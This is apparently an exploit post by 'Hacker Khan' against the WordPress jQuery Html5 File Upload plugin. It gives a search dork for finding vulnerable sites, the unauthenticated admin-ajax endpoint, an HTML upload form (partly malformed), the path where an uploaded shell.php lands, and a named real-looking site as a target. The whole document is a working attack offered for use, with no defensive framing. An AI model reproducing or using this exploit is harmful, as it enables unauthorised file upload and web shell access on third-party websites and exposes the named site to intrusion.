Exploit Wordpress Plugins jQuery Html5 File Upload

Wordpress Plugins jQuery Html5 File Upload

Author : Hacker Khan

Dork: inurl:/wp-content/plugins/jquery-html5-file-upload/


Poc :
targe.com/wp-admin/admin-ajax.php?action=load_ajax_function

############################

Exploit HTML :

<center>
<br><br><br><br><br><br><br><br><br><br><br><br><br>
<font face="Iceland" color="red" size="7">jQuery File Upload By Hacker Khan</font><br>
<form method="POST" action="target.com/
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>

###########################

Shell Access :
http://www.target.com/wp-content/uploads/files/guest/shell.php

###########################

Target :
http://students4students.us/wp-admin/admin-ajax.php?action=load_ajax_function

#############################